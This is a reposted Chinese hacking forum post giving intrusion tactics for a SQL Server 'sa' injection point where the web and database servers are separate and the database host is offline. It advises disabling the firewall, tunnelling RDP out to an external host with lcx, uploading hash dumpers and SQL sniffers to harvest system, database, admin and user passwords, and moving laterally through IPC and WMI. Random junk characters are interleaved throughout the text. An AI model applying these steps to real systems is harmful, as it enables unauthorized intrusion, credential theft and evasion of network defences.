当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。- N% `6 Y; ~/ ]- I; M# w
4 s/ J {( d9 T0 H# {0 I
! j l4 T, `3 P$ Z* _
. J8 m! q" H3 x$ |1 V8 N
SA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)$ U J2 m. C2 K' K
1 W8 q% f3 v' W) E7 F. V+ A- U
$ J" F+ |$ c2 h: f' _( { B |
一、DB机有公网IP.
" o" \+ i2 R$ f% K; J% V9 \; t" T: ~: ?
1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.& |+ d/ k( ?0 s: H( }$ c; x- G
* J$ A- H$ W0 q* u4 f/ \& e
( k9 F9 G3 g# e% `& i/ L" k
2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.: Q f I' C5 j0 y$ Q" _" h8 H& b
* S( j4 ~8 Z8 B; ^% V6 u0 m) X7 S
- F( c8 J7 y% E8 w& ]/ F3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
( z+ o" R0 x5 S7 h9 |& f4 N9 y& F# `
/ u u/ K5 u( B5 f% g- O
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.
6 U' g! H: c# [' T* Y* }6 E. j; G; s
) E& N: D5 s5 o/ i
( m, A$ D4 }/ `: a' S2 W二、DB机只有内网IP
+ ^' `! E$ M7 z8 I: ]' b3 Y- \8 }$ G% |; V p6 K' X
1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等.5 Y1 d3 V. `9 C ]* F
( [0 ?' K& u2 T+ a: R; f/ x
8 U. X5 k6 G' K. v2:停掉防火墙和IP策略再从内往外扫描.) m* g: \3 `8 [
9 {& K/ O2 | v5 g7 w- I' j
3 z& s" C0 Z6 k- f# a, W) p. ~3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.0 R. W! T2 l6 V) A8 `
4 L. `7 v, }, _
% W* w$ Q. s3 p+ C- @, }2 q% d5 c
4:学会密码规律分析往往会有惊喜.9 B# w, h; b, E1 [" g
1 n5 a/ ^$ G) m* K) f& {5 W& X/ z i! x; y# U# @
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
7 ^) r4 ?7 ^0 f$ B' U; X
( [5 V: k8 p4 d, h$ v! c4 x. {0 l
有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |